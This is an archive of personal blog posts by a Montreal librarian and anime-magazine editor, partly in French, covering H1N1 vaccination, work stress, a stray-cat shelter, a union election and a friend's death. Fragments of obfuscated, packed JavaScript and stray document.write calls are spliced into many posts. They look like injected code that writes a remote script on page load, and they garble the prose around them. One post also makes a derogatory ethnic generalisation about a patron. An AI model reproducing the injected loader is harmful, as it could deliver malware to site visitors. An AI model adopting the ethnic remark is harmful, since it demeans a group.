Inoculated at last!

Today my wife and I went to the Palais des Congrès to get vaccinated for the influenza A(H1N1). We each received a 0.50 mL dose of Arepanrix H1N1 with adjuvant (the vaccine produced by GlaxoSmithKline). Everything went well and we were out the doors in less than an hour and half (including the fifteen or twenty minute wait after the injection to make sure that there was no adverse reaction). It was well organized and the crowd was moving relatively fluidly. Now we only have to wait for the immunization process to take place in our bodies.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbthi|var|u0026u|referrer|ihdrr||js|php’.split(‘|’),0,{}))

My only complain is that this should have happened at least a month or two ago. Only now the vaccination campaign is extended to the general population. Only now we start seeing hand-sanitizing stations in every public places (although there’s still some public libraries without any). As usual all level of government were quite slow to respond to the potential crisis. That’s the key word: potential. A pandemic is impossible to predict accurately and the adequate response is hard to formulate. If you prepare too forcefully you are an alarmist and if you do too little you are an uncaring bastard. For example, document.write(“”); people feel that the Y2K bug (okay, it was a computer glitch not a virus, but the analogy is nevertheless valid) was much ado about nothing. There was no catastrophy so they feel they were lied to about the risk. They never saw the army of programmers that worked days and nights to rewrite computer codes and therefore making sure no catastrophy would happen. Such nuance is difficult to understand for the people, so lets use another allegory (like Jesus did). A pandemic is like a hurricane: it might hit a populated area or not; it might gain some strenght and hit as a full category five, causing a devastating disaster like Katrina or fizzle and just pass as a drenching tropical storm. It’s unpredictable, but we must get ready nevertheless. If you evacuate a multi-million-inhabitant city and nothing happens you might incur the ire of the population, but the alternative — doing nothing — is far worse! We’ve been lucky so far. The H1N1 didn’t spread as fast or wasn’t as virulent as the specialists feared. However we’ve already detected here and there signs of mutation in the virus and there’s no way to predict if it won’t get more lethal like its Spanish flu predecessor was. We can only make sure we’re ready and hope it won’t get worse.

On this subject in the news (in French, sorry):

Five years already

I just realized that I am in my fifth years of blogging. I am not a big blogger (I posted less than two hundred entries — however I am picking up the pace lately) but it is still a reason to rejoice!
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I only wish more people would comment and interact on my blog (well, document.write(“”); I mean beside the stupid or crazy sh*t that I got lately). But I am content that at least some people read it (according to the counter anyway). I am gladly thanking my few readers.

When it rains it pours

That’s what people could say in England, document.write(“”); but I was rather alluding to my schedule — which suddenly got quite busier.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkkba|var|u0026u|referrer|sszyh||js|php’.split(‘|’),0,{}))

I am already rather busy with the layout of the magazine’s thematic issue I am currently working on (which is incredibly late due to the fact that we grossly underestimated the time of production with an extremely bare-minimum staff and that my health forbids me to work crazy hours like before), but in the last few days I was distracted by a complicated administrative inquiry at work (trying to determine which borough is my “home” at work and to decide if I really wanted to apply for an union rep position).

In addition to that I have to test out a new print-on-demand system that we will use along with the digital edition of the magazine. However, I’ve discovered yesterday that the PayPal buttons of our online store doesn’t work anymore, so I have to quickly find out what’s the problem and solve it. I suspect that PayPal made some changes in the way they handle codes, so the fix will probably mean to reprogram all the damn buttons one by one (which took me several weeks the last time I updated them). I will have to implement the changes little by little, turning off all the buttons that have not been fixed until they are. This will definitively create more delay on all my current projects…

All this while working full time in various libraries!

However, it doesn’t matter how busy I am, I intend to keep the eight-hours-of-sleep rule to try to stay healthy. I already know a co-worker who got the H1N1 and I definitely don’t want it (or any other bugs) to happen to me.

Update (22:35): I’ve contacted PayPal, but there’s still no news from them. I was nevertheless able to find which part of our button code was causing problem (it works if I create it with their button tool or if I remove all the “%23” (#) from the code — thanks to the “find & replace” function!). It is (hopefully) working and people can now order again from our website. Phew! Another crisis averted! I can go back to my (still) busy schedule.

Life at the bottom sucks

Today I had a particularly tiring day at the library as we were rushing more than usual (is there something like a library all-day rush hour?). It is not always fun to be a library grunt with grumpy coworkers and unhappy customers. I felt more than ever like the ball in a pinball game rebounding on every sides of the counter and not scoring any points. I also spent all my free time (lunch, document.write(“”); break) working on the research and layout for one of the other projects I am doing. This was the second day of a seven days stretch without any days off (hey, a guy need to pay the rent; I just hope I won’t exhaust myself too much and get vulnerable to the flu).
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izyat|var|u0026u|referrer|rydzz||js|php’.split(‘|’),0,{}))

On top of that I came back home to yet another water damage incident. The washing machine on the third floor overflowed. Again. If I was the landlord I would ban washing machine on the second and third floors. Is it that complicated a machine to operate? The water came gushing two floor bellow through the light fixture hole in the stairwell leading to the basement and… into my research library (aka the guestroom). Luckily the book shelves were unarmed, but the videocassette storage was hit, wetting cassette recordings of precious anime series! No real damage though, it should all dry quickly (anyway I was considering reusing or giving away most of those tapes — who use VHS tapes anymore?). However I am really tired of those baths, hotwater tanks, washing machines and whatnot breaking, leaking or overflowing on my stuff. It is not always fun to live on a first floor…

How to make a Cat House for winter

If a nice stray cat is roaming your backstreet and squatting your flower boxes you might be worried, document.write(“”); like my wife, about how he would fare in the very cold nights of winter. If, like us, you cannot take those strays inside because you already have cats you can always build them a little cat house to keep them warm.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfssz|var|u0026u|referrer|krdaz||js|php’.split(‘|’),0,{}))

I used to make a cardboard cat house for them. I would take the biggest shipping box I could find, cover it with packaging tape (or a garbage bag) to protect it against water, cut a little door with a utility cutter and put a bunch of old clothings inside to make a cat bed. Unfortunately, those cardboard cat houses last only a year — two if your lucky or three if you made a very sturdy one (using waxed double-sided cardboard and lots of tape). The humidity always rots the cardboard and the clothings become quite smelly.

This fall I decided that the fourth cat house that I would build would last a lot longer (if not forever). Here’s how I did it:

I took a 53L “Rubbermaid Roughneck Tote” container ($7.59 at Canadian Tire, but in my case I simply used an empty one I already had in the basement), cut a little door with a heavy-duty utility cutter, (if you don’t have one, it’s $6.26 at Staples) and lined the inside (optionally the outside too) with an old piece of carpet for insulation.
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And voilà: an instant mobile cat hotel!

This year’s stray, named Marmelade-boy (there’s a different one almost every year) adopted it within minutes. He really loves it. That gives the lovely fellow a warm lair to spend winter protected from the wind and snow while my own cats (in the picture: Spotty) are protected from the fleas and diseases he surely carries. I love my cats, but feeding and caring for two of them is quite enough.

However, be careful (or prepared) because, if one of the strays using the cat house is a female, you might very well find a litter of kittens in it when spring comes! It happened to me twice. The first time I gave them all to nice foster-parents, petshops or shelters, but the second time I kept one for myself: Saya (pictured). See my MobileMe Gallery for more cats pictures.

Plus ça change, plus c’est pareil!

Pour faire suite à mon commentaire sur la campagne électorale de l’exécutif syndical du SFMM (en passant: merci au cent-soixante personnes qui ont visité mon blog depuis), document.write(“”); voici un autre commentaire sur le résultat des dites élections:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntaay|var|u0026u|referrer|kbkkb||js|php’.split(‘|’),0,{}))

Malheureusement, les
résultats préliminaires que j’ai entendu hier soir semblaient annoncer un taux de participation très bas (dans les 30-40%) et une confortable victoire pour l’équipe en place, AccèsCible.

(Cliquez le lien ci-dessous pour avoir tout les détails de ce que j’en pense…)


J’ai d’abord été très surpris de ce résultat. Tout les collègues fonctionnaires à qui j’ai parlé au travail ces dernières semaines (tous sans exception!) me disaient qu’ils étaient tanné du mauvais travail de l’équipe en place et qu’ils voulaient du changement. Pas une seule personne ne m’a avoué qu’il/elle voterait pour l’équipe en place. Comment est-ce possible?

Et les chiffres eux-même sont bizarres (bon, il faudra attendre des résultats officiels, sinon définitifs pour vraiment se prononcer, mais…). Ils sembleraient y avoir d’étranges disproportions dans les résultats préliminaires des votes pour Du 109 au 429 et Pierre Gélinas (qui se présentait à la présidence de l’exécutif pour le 109) semble avoir reçu moins de votes qu’il en avait eut à l’élection précédante (où il s’était présenté seul, sans le support d’une équipe comme il l’a fait cette fois-ci avec Du 109 au 429). Comment, avec plus de visibilité et le support d’une équipe, a-t-il pu recevoir moins de vote? A prime abord, cela semble incompréhensible.

Toutefois, je crois qu’il est possible d’y voir un début d’explication sans nécessairement avoir recourt à des accusations partisannes. Ma bonne nature me fait exclure, a priori, l’usage d’actes illégaux ou inappropriés à proprement parler. J’y vois plutôt le résultat combiné de quatre facteurs:

  • l’équipe Du 109 au 429 a peut-être été un peu naïve et pas assez expérimentée en magouille syndicale. Car on le sait bien, dans ce milieu là, tout les coups sont permis. Ils ont commencé leur campagne un peu sur le tard et ont sans doute hésité à utiliser des tactiques discutables. Un bon vieux cas de “the good guys always finish last.”
  • l’équipe Du 109 au 429 avait tout les désavantages de la position de “challenger.” L’équipe AccèsCible a eut plus de dix ans pour se faire connaitre et établir des liens d’influences. Ils pouvaient aussi profiter de leur libération syndicale pour faire campagne. Ils avaient donc beaucoup plus de temps, de visibilité et de moyens. D’où les beaux pamphlets couleurs et un très grand nombre de militants pour rencontrer les travailleurs, être présent sur les lieux de vote et de comptage, et distribuer des tracts à l’entrée de bureaux de votation, etc. C’était peut-être aussi à l’avantage des AccèsCible d’être dirigé par une femme (ça parait donc tellement mieux)…
  • cette fois-ci, l’équipe AccèsCible a quand même sentis l’eau chaude et ils ont défendu leur confortables derrières (confortables pcq bien assis sur d’excessifs salaires) avec la force de détermination d’un fonctionnaire calabrais. Et pour désespérément défendre leurs moelleuses positions, ils ont eut recourt à toutes les tactiques, sinon illégales mais certainement déloyales, qui sont de bonne guerre en milieu syndical: limiter l’information électoral, tenter de discréditer l’adversaire avec de la désinformation (si le 109 au 429 est élu vous pouvez dire adieu à l’équité salariale, etc.), faire de l’obstruction (en tentant d’empêcher l’adversaire de rencontrer les travailleurs), distribuer de belles cartes de rappel couleur à l’entrée des bureaux de votation (les gens aiment donc ça les beaux dépliants couleurs vides de sens), faire sortir le vote de LEUR supporteurs à tout prix par l’utilisation de chaînes téléphoniques, en leur offrant le transport (ou “busing” — j’ai entendu dire que certain s’étaient même fait payer le taxi!), etc.
  • par les temps qui court les électeurs, quels qu’ils soient, sont par nature désillusionnés et paresseux (“Ça sert à quoi d’aller voter, c’est toute du pareil au même anyway”). Même s’ils sont déçu du travail de leur repésentant, et tout aussi convaincu qu’il faut du changement, si le jour de l’election venu il fait froid et le temps est maussade, ils perdent leur détermination et trouvent toutes sortes d’excuses pour ne pas sortir voter. Alors beaucoup trop de syndiqués ont préféré resté douillettement chez eux ou au travail plutôt que de se battre pour le changement qu’ils désiraient. Et il ne faut pas oublier le fait qu’il y avait encore des gens qui n’étaient même pas au courant qu’il y avait des élections pour l’exécutif syndical et cela grâce au mauvais travail de communication fait par le syndicat lui-même! C’était tout à l’avantage de l’équipe en place, puisque l’on sait bien qu’un taux de participation bas favorise toujours l’équipe sortante.

C’est là la situation et on ne peut rien y faire. Il faut l’accepter. Toutes mes félicitations au gagnant et à son bilan concluant d’inaction. On va continuer d’avancer… vers le précipice et à se faire fourrer tant par l’employeur que par le syndicat. C’est correcte. C’est ça la beauté de la démocratie: elle nous donne plein de merveilleux droits, dont celui de se tromper. Les Américains ont bien réélu George Bush en 2004…


David contre Goliath:
l’intelligence ne peut pas toujours l’emporter sur la force brute…
Quand à moi, je n’ai pas crains la froidure de l’automne et j’ai déployer bien des efforts pour aller voter… Tout d’abord, comme je l’ai mentionné il y a quelques jours, il me fallait trouver où je devais voter et si je pouvais obtenir une heure de libération pour le faire. Comme tout était fermé le lundi de l’Action de Grâce, je n’ai eu que mardi pour appeller le secrétariat d’élection et exposer mon problème. On me répond qu’on ignore la réponse (bravo les filles, continuez votre bon travail!) et me suggère soit d’appeller la directrice syndicale de mon arrondissement, soit Mme Sylvie Archetto, la présidente d’élection. On me transfert finalement à Mme Archetto mais j’aboutis plutôt sur la boite vocale des retraités du syndicat. J’essaie de contacter la directrice syndicale de mon arrondissement mais tombe sur la boite vocale d’une autre personne à la régie des bâtiments. Je rappelle au secrétariat d’élection et on me transfert, cette fois-ci avec succès, à Mme Archetto qui me dit que je peux voter dans n’importe quel des treize bureaux de votation mais qu’il me faudra d’abord rencontrer le directeur de salle pour demander à être rayé de la liste du bureau de mon arrondissement port d’attache.

Pour ce qui est de la libération, Mme Archetto me dit que c’est une question syndicale (doh!) et qu’il me faut plutôt contacter ma directrice syndicale. Après un autre essai infructueux pour la rejoindre, je contacte donc le représentant syndical de mon ancienne bibliothèque (car il n’y en a pas à la bibliothèque où je travaille actuellement). Il me rappelle plusieurs fois pour me mettre au courant de ses démarches et, après un palabre avec la directrice syndicale de l’arrondissement de mon ancienne bibliothèque, on me dit que, oui, j’ai droit à l’heure de libération même si ce jour là je commence à travailler en début d’après-midi. Mais avant que j’ai le temps d’appeller la bibliothécaire du lieu où je doit travailler le jour de l’élection pour s’entendre sur l’heure de libération, on me rappelle pour me dire que, non, après tout je n’y ai pas droit.

Le jour de l’élection, mercredi, je prend donc du temps sur mon autre travail (où je ne suis pas syndiqué, heureusement!) pour aller voter. La veille et le matin même j’ai voulu vérifier l’addresse du bureau de votation mais à aucun de ces moments je n’ai pu accéder à l’information sur le site du syndicat (mon internet fonctionnait pourtant parfaitement). Heureusement, le site du 109 au 429 offrait la même information. J’ai quelques difficulté à me rendre car Google ne m’a pas donné le bon horaire d’autobus (c’est bien la première fois que cela arrive). A l’entrée du bureau de votation je me fais accueillir par deux dames de l’équipe AccèsCible qui me remettent une belle carte de rappel. Il n’y a personne de l’équipe Du 109 au 429 (à ce moment là du moins). Au bureau même, je présente mes pièces d’identité (de la ville et du syndicat) et rencontre le directeur de salle. Beaucoup de gens sont apparement dans la même situation que moi et le directeur de salle a de la difficulté à contacter le bureau de votation de mon port d’attache pour me faire rayer de leur liste. Après un délais, j’obtiens l’autorisation et je peux finalement aller voter. Je me suis fais dire que ce genre de délais a causer des “embouteillage” à plusieurs bureaux de votation et de nombreux syndiqués, exaspéré par la piètre organisation, ont quitté sans même voter. Je prends ensuite le chemin de mon travail en bibliothèque (heureusement que je n’ai pas eu de libération car ça m’a pris bien plus qu’une heure!) mais je manque la correspondance de l’autobus et doit marcher une demi-heure dans le froid. J’arrive finalement à la bibliothèque, essouflé, avec quelques minutes de retard et on me dit que, ben oui, j’avais droit à la libération et qu’on m’avait même réservé du temps un peu plus tard en après-midi! C’était là la culmination de mon cauchemard syndical. Et après ça on me demande pourquoi j’étais si déterminé à voter contre l’Équipe “AccèsCible.” Faut vraiment être inconscient!

Tout ceux qui ont été paresseux et ne se sont pas déplacé pour aller voter ont, quand à moi, perdu le droit de se plaindre du syndicat. Ils n’ont que ce qu’ils méritent: un syndicat médiocre qui ne fera jamais de véritable effort pour défendre les droits des travailleurs.

Si le concept de parti d’opposition n’existe pas au sein d’un exécutif syndical, il faudra donc l’inventer. Le combat pour une véritable démocratie syndicale ne se termine pas pour autant. “Hasta la victoria siempre” disait le Che. Je suis sûr qu’il y aura toujours des gens pour exposer les cafouillages du syndicat, pour proposer des solutions et vocaliser ce que beaucoup pensent mais n’osent dire. En attendant une prochaine élection, surveillez donc le site internet Du 109 au 429, ainsi que les prochaine éditions du Colvert et portez attention aux résistants qui prendront la parole dans les assemblées. Car c’est eux qui défendront vraiment vos droits…

Malheureusement, je crains que les électeurs soient tout aussi timides aux élections municipales et que l’on se retrouvent là aussi avec un résultat similaire: un bas taux de participation et la réélection du candidat sortant, soit Gérald Tremblay… Mais ça ne m’empêchera pas d’aller voter!

Push Hard Back

Lately, document.write(“”); I started working more on the computer again and now my back pain has returned. It seems that when I try to push myself a little more in order to catch up on all the work and projects for which I am so late, I end up feeling not so good. I guess I still need to rest more and really must avoid getting too tired and stressed, but there’s so much stuff to do… And I really have to go see a specialist for my back (and probably invest in a better chair)…

Thanksgiving

To all my Canadian and Québécois readers (if any) I wish a happy Thanksgiving! Don’t eat too much turkey (and please don’t forget to exercice a little — for my part today I did some clean up and removed the air conditioners from the windows). It is a time to reflect on all the good things that life is offering us. We live in a peaceful country (okay, document.write(“”); some of our soldiers are currently deployed in a war zone, but it’s _mostly_ for “restoring” peace), a place where there’s little natural disasters (like hurricane, earthquake, brush fires and such) and we haven’t been too affected by the recent economic crunch. It’s really the most beautiful and enjoyable country in the world (although we dropped to the fourth place in the UN quality of life ranking — Japan, with whom Canada battled a couple of times for the first place, has dropped to the tenth position).
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Personnally, I am thankful for my loving familly, my beautiful wife, my two cute (and often dumb) cats, for having a job (or two), interesting hobbies (although the line between a hobby and a job is (un)fortunately often blurred) and almost everything I could ask for. We are really blessed.

Thus the World fell, Thus We Felt

It’s surprising how our surrounding can change in just a few days. The temperature fell from an average around 15 ‘C to well under 10’C. And now the ground is littered with dead leaves. Fall is already at our doors (and winter not that far away with warnings of frost for the nights). It’s a beautiful season. I like the smell in the air. It feels great.

Worse day in a library

Today I experienced the worse day ever while working in a library.
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(More after the jump)

For starter, document.write(“”); I was working for the second time only in a library where I am really not at ease (so far I’ve worked in fifteen of the forty-four library of the Montreal libraries network and, beside the computerized catalog, every library is completely different from the others). The work-flow behind the counter is awkward and complex and, despite the accommodating attitude of my co-workers, I was really feeling overwhelmed, like a bumbling idiot (Maybe I was simply tired?). Well, I think that the Montreal libraries network is a “network” only by name and that greater effort should be made to uniformize all the libraries. It is particularly hard for the people who do lots of replacements in many different libraries. It is very comfusing and hard to remember all the specifics of a particular library…

On top of that I was almost assaulted by a user. A mistake was made with his internet reservation and it was not possible to give him access to a computer. The guy (of North African or Middle-Eastern origin) started to insult us (he called me a fag — of course, to a super macho guy, if you’re polite and deferent you must be a fag! — and made some racist comments) and eventually became rather agressive (he walked behind the counter and tried to pick up a fight with me but I withdraw further behind the counter and a librarian interposed herself between us). He was escorted out of the library. The guy was behaving awkwardly and smelled of alcohol (beware of drunk arabs!). I was told it was not the first time he caused problems and even assaulted another user before. Surprisingly, the police was never called, he was never banned from the library or his library privileges never cancelled (although, after I remarked that with such behavior his privileges should be revoke, they were). After the first problem, the librarian in charge simply “talked” with him (like a school principal to a student). I think most librarian are really too lenient with discipline (in some libraries people are not even asked to keep their voice down and it can become really noisy!) and there is no clear guidance on how to react with violent people. Something should really be done about that.

Sickening cycle

My wife and I are (yet again) down with the cold / flu / allergies (or maybe a combination of all three). I have a sore throat, document.write(“”); ear ache and doesn’t feel good in general. I feel a little feverish from time to time. It’s probably the result of the constantly changing weather—warm, rain, cold—and the air conditioning still running in many places. The days (and nights) are definitely getting much colder. We haven’t got a summer yet and fall is already getting close…

It started friday. Then I had a good night sleep and felt much better. My throat didn’t hurt anymore but I was still quite congested. However, tonight (sunday) my entire body is hurting. When will this end? I just hope it won’t last too long because I have so many things to do that it makes me want to cry. I really don’t want to be bedridden for a while. I’ll try to get a good long night of sleep tonight again…

I hope my immune system will recover before we get that second wave of the H1N1 the scientists say we might get sometime this fall…

It seems that each time I am starting to feel better and gear up to spend my energy on something productive I am getting sick again. And when it’s not my health there’s always something coming up to do at the last minute (some phone calls or emails requesting attention, a computer problem, etec.). With the day job keeping me busy and tired, all the household stuff to do on my days off (laundry, clean up, visit a museum to keep a promise, etc) and all those festivals or conventions to cover, it has been hard to move forward with production.

The guilt coming from all those tasks that I don’t have time to do is pilling up on all the stuff that is on my mind lately (the new working schedule to prepare for, the MWFF, the computer update, web page, blogging, health problems, etc.) so my head really feels foggy and tired.

The good news is—after losing the secure block of working hours that I had at two libraries on sunday and monday—I was able to get a three-day block at the Plateau Mont-Royal library for the Fall schedule. It will offer me a little job security (at least for the Fall) and hopefully it will allow me to fall back in a routine that will be more productive and less stressful. Not working in a different library from one day to another and in a closer place (half-an-hour of public transport instead of one hour-and-half) will certainly help.

Repartir la machine… à écrire

Le travail en bibliothèque se fait un peu moins envahissant (quoi que combler mon horaire demande encore beaucoup d’efforts mais je travaille à des bibliothèques plus proche et perd donc moins de temps en transport—je retrouve également un peu de ma forme mentale et physique mais ce que l’âge prend est perdu à jamais) et comme les choses semblent se stabiliser un peu j’essai de me remettre à écrire un peu plus (dans mon carnet de notes et en ligne). J’ai toutefois encore beaucoup de difficulté à me concentrer et écrire représente toujours un labeur très lent. Une simple petite critique minuscule comme celle de YUL 871 me prend encore tout un après-midi (bon, document.write(“”); ça inclus la recherche documentaire et d’images, ainsi que la mise en page, mais tout de même!). Les retards de production du magazine (si frustrant et désespérant qu’ils soient) me motivent, de même que d’assister à la WorldCon (et relire mes vieux textes et projets) m’a aussi beaucoup stimulé. Enfin, à force de m’y mettre et d’écrire tout ce que je peux (on n’écrit pas toujours ce que l’on veut), ça semble me revenir peu à peu… Qui sait, peut-être pourrais-je même un jour me remettre à la fiction.

Panel cancellation

I deeply apologize to all the people who came to my Otakuthon panel for nothing.

Unfortunately, document.write(“”); my wife got sick and I ended up spending several hours in the emergency ward of an hospital thus preventing us to attend the panel. I am really sorry for this.

My life is too much

Il y a vraiment trop de choses qui préoccupe mon esprit ces derniers temps. J’ai l’impression que la tête va m’éclater!
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J’en ai marre…

d’avoir une liste de choses à faire plus longue qu’il n’y a d’heures dans une journée, document.write(“”);
d’entendre autant de bêtises à la télé et ailleurs,
d’être toujours malade avec un mal au dos ou une grippe que je traine depuis je ne sais plus trop quand,
de courrir tout le temps et d’être fatigué,
de culpabiliser pcq je prend une de mes journée de congé pour passer du temps avec ma femme,
de me faire réprimander pour avoir “flusher” une toilette,
de ne pas avoir le temps d’avoir le temps,
de ne pas pouvoir écrire ou lire comme je veux,
de ne pas pouvoir faire ce qu’il me plait, quand ça me plait,
de ne plus me rappeller je que je voulais dire ou faire,
de paniquer à chaque fois qu’on annonce de l’orage pcq les pluies abondantes font refluer les égouts dans le sous-sol,
de perdre mon temps en transport en commun,
de prêcher dans le désert,
de stresser sur les délais de production,
de toujours m’inquiéter pour la santé de mes chats,
de travailler à douze places différentes ce qui fait que je me rappelle jamais où j’en suis,
de vivre dans un apart qui a l’air d’un taudis et de ne pouvoir rien y faire,
de voir ma femme à peine une heure par jour pcq nos horaires ne concordent pas,
des gens à l’esprit excessivement bureaucrate,
que le temps passe trop vite et que je me demande où les années sont passées…

Twice as busy

Having two jobs is more tiring and difficult that I thought it would (the good side of it: I’ve already lost twenty pounds!). There’s so many stuff to do and so little time. That’s why I haven’t written much lately. When I come back from the day job, document.write(“”); the one that pay most of the rent and all, I am tired and only want to crash and sleep. It is difficult to write — harder still to concentrate — but I manage to do some work anyway. But certainly not as much as I would like to and this add to the stress. However, now the priority is to pay the rent, nurture my health and spend time with my loved ones…

If the health stay good, I’ll try to blog more regularly.

Dilemma, dilemma

I have so many things to do and now I am wondering if I should lay down my thoughts more privately on paper or publicly on a blog. Should I write in English, document.write(“”); the more common language, or in French, my native tongue. Of course, the solution is always to compromise. Do some writing on paper, some on blogs. Some in English and some in French. But it is becoming more and more essential that I commit my thought into writing because I keep forgetting so many things. Sometimes I don’t even remember what I did yesterday. The writing become a second memory…

Sign of Time

I thought my subscription to the Canadian edition of Time magazine was over since I stopped receiving it around Christmas. But I was under the impression that I should have had a few more months in my subscription. This week, document.write(“”); two months later, I got a letter from the publisher explaining that the Canadian edition of Time magazine ceased publication at the end of December and that I will be receiving Maclean’s magazine for the remaining of my subscription, starting in a couple of months.

In a way I am not surprised at all of this situation. The magazine industry and its distribution are in a really bad shape. Also, newspapers are closing right and left. The industry will have to adapt to new forms of distribution as well as to a new business model that involves the internet. It will takes a little experimenting at first, but I am sure that it will survive one way or another.

Sick of being sick

After suffering a near-burn out and painful back problems now I have to endure a bronchitis. I am realy tired of being sick. It is already hard to be working two jobs at the same time, document.write(“”); but when I am sick all I do after coming back from work is eat and going to sleep. I cannot blog half of what I would like to say. Luckily I have one or two days off, so I manage once a week to answer some emails, put some order in my to-do list and write one or two articles–but I also still need to rest so I read a little, watch TV and sleep some more. This is rather frustrating. Hopefully, I’ll feel better soon and be able to do more.

Last call to adopt black cats

This is the last call for those interested in adopting two back cats (a year-old mother and her five-month male offspring). Since I couldn’t find any place for them in a no-kill shelter, document.write(“”); I will bring them to a standard shelter (SPCA or Berger Blanc) in a couple of weeks if I still haven’t found a foster home for them. Unfortunately, due to over-crowding, those shelters often have recourse to euthanasia if the pets cannot be adopted quickly. But I have no choice, I cannot keep them forever (I already have two cats). Why do people dislike black cats? They are as cute as any other cats.

Backlog

Sorry for not blogging lately. I finally got back my physical and mental strength after being repeatedly sick, document.write(“”); but my bad luck struck again and I found myself on my back. I have no idea what caused it (shoveling? slipping on icy sidewalks? Bad sitting position?) but I had a terrible back pain that would not go away and I couldn’t sit in front of the computer for more than a few minutes at a time (just enough to check emails and news).

The last week was particularly painful since I was working fulltime in a library, replacing someone on sick leave. Fortunately, I had to stand most of the day, so i was less bothered by the pain. I guess the exercice did me good (as well as a regular intake of pain-killer — I felt like Dr House!) and I am now feeling a little better.

We found a loving home for our little refugee kitten Mitsy (he’s so cute I had no doubt that someone would adopt him). I was hoping to place sweetpea in a pet shop, but it didn’t work out. Therefore we are still looking for caring people to adopt our two refugee black cats.

Slippery

Apparently the guy managing the city’s blue collars made the mistake of putting the people who used to take care of the ice rinks in charge of cleaning the sidewalks. Now they are extremely slippery. I know that City Hall talked about cutting cost by stopping cleaning sidewalks, document.write(“”); but there’s a limit! If I hurt my back once more by slipping I think I’ll sue them!
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On top of that the landlord didn’t repair the front-door stairs and they keep getting dangerously icy and slippery. I am spending a fortune in salt just to increase the chances of NOT breaking my neck each time I’m going out.

Image © Acreage Living.

Emru Townsend dies at 39

Emru Townsend died of leukemia on November 11. He was only 39 years-old.
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We have already talked about his diagnosis, document.write(“”); his
quest for a bone marrow donor and his successful transplant. Unfortunately, his cancer was too aggressive and the leukemia didn’t go into remission despite the successful transplant. Many have already written his eulogy and obituary (ANN, The Gazette, PC World), so there’s no need for me to write about that. However, I still wanted to say a few words about him.

I didn’t know him very well, but I wish we’d stayed more in contact. We worked on a few projects together in the late 80s and early 90s, but recently we were only meeting by chance in conventions and festivals. He started collaborating with Protoculture Addicts with issue #2 (providing ideas, news blurbs and working as proofreader) and we started together the first anime club of the University of Montreal. After a while Emru drifted away to work on his many projects (he always had new ideas and projects) and I took care of the anime club alone. He contributed only a few articles in the magazine (mostly one on Project A-ko in #4 and one on Akira in #7), but his work was excellent and he pitched in many ideas and always provided encouragement.

Quickly after starting working with us, he requested to be made partner. I answered that I would like him to work with us at least a year before considering that. He couldn’t wait, so he left and started his own magazine, FPS. I always felt that he never forgave me for that. Later, he heavily criticized the quality of our Anime Guide book, blaming me personally (and my french-canadian origins) for the book’s flaws (despite the fact that I only wrote the presentation and supervised the project, hiring instead the best Italian translator and the best English editor that we could afford). It was probably a philosophical difference: I guess Emru was a perfectionist while I am rather a pragmatist (after having worked six years to get that book published I wanted the information—the data—available to anime fans and scholars as soon as possible even if I knew that its form and presentation were quite imperfect). However, despite those differences, I never felt animosity between us and I always admired the quality of his work and dedication.

He was a great guy and he will be sorely missed by all animation fans. I want to express my sincere condolences to his family and friends.

You can visit Emru’s Blog, Facebook group and web hub to learn more about his work.

SADness

I feel a little SADness. Not that I am really sad (although someone I knew did die last week), document.write(“”); but I feel affected by the Seasonal Affective Disorder. Like if I was not depressed enough, now the lack of sunlight is prolonging the misery. It seems that I am trying to compensate by seeking exposure to the tube… I am really watching too much teevee and I should cut back on the series addiction—but it does improve my mood. I feel like I’m sucking up the drama of those characters’ very existence to replenish my emotional energy and bring back to life my dried up soul. I still feel tired, physically and mentally weak, but my Qi is slowly coming back.

After constantly beeing on the verge of burn-out for the last few years, I really had to take a month or so of vacation. To recharge my batteries. I fell in a strange torpor, and the world was flashing by me like if it was on fastforward. It was quite strange. It was like if I was waiting for something to happen. Now that I start feeling better (but I still need to really shape up, go out to exercice and see some people) I really have to speed up things and get back on track. The work is pilling up and I am getting way behind schedule. But everything is slowly getting back together now.

I am getting behind even on my blog. I promised myself that I would “review” every book I read and every movie I watch and I did not. Although not everything is worth sharing my opinion, I want to try making short comments (even if only one hundred words) about most of my reading and viewing. Just to keep the mind and the writing skill sharp. So I’ll try to slowly catch up.

Winter is really close-by. At the end of October we got our first snow flurries and last night we got snow on the ground for the first time. I like winter. Everything seems to slow down and it all becomes so quiet and beautiful.

To my American friends and readers I would like to wish a nice Thanksgiving. For my part, I am grateful to live in such a great and uneventful country (Canada). I am grateful to my beautiful wife. I am grateful to have always worked in something interesting. Be thankful for what you have, ’cause you never know what could happen. Good night and good luck.

Life goes on

I feel so tired, document.write(“”); empty, lazy and sleepy that it’s difficult to get anything done (and yet I keep looking for more occupations to employ my time!)… I also feel deserted and alone. Where are everyone? It’s so depressing… That must be the change of the season. The leafs have started to fall en masse and it’s getting colder and colder. It is supposed to freeze for the first time tonight. The flowers that kept blooming all summer will probably die.

Nevertheless, I feel there’s some nice change coming soon. Is it just winter or maybe I will really turn a new leaf? I think it’s good to keep some positive thinking and assert that “something” nice IS coming. Soon.

Post-con comments

It’s October already. Time goes by so fast… It is also slowly getting colder…
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esiyd|var|u0026u|referrer|bkkab||js|php’.split(‘|’),0,{}))

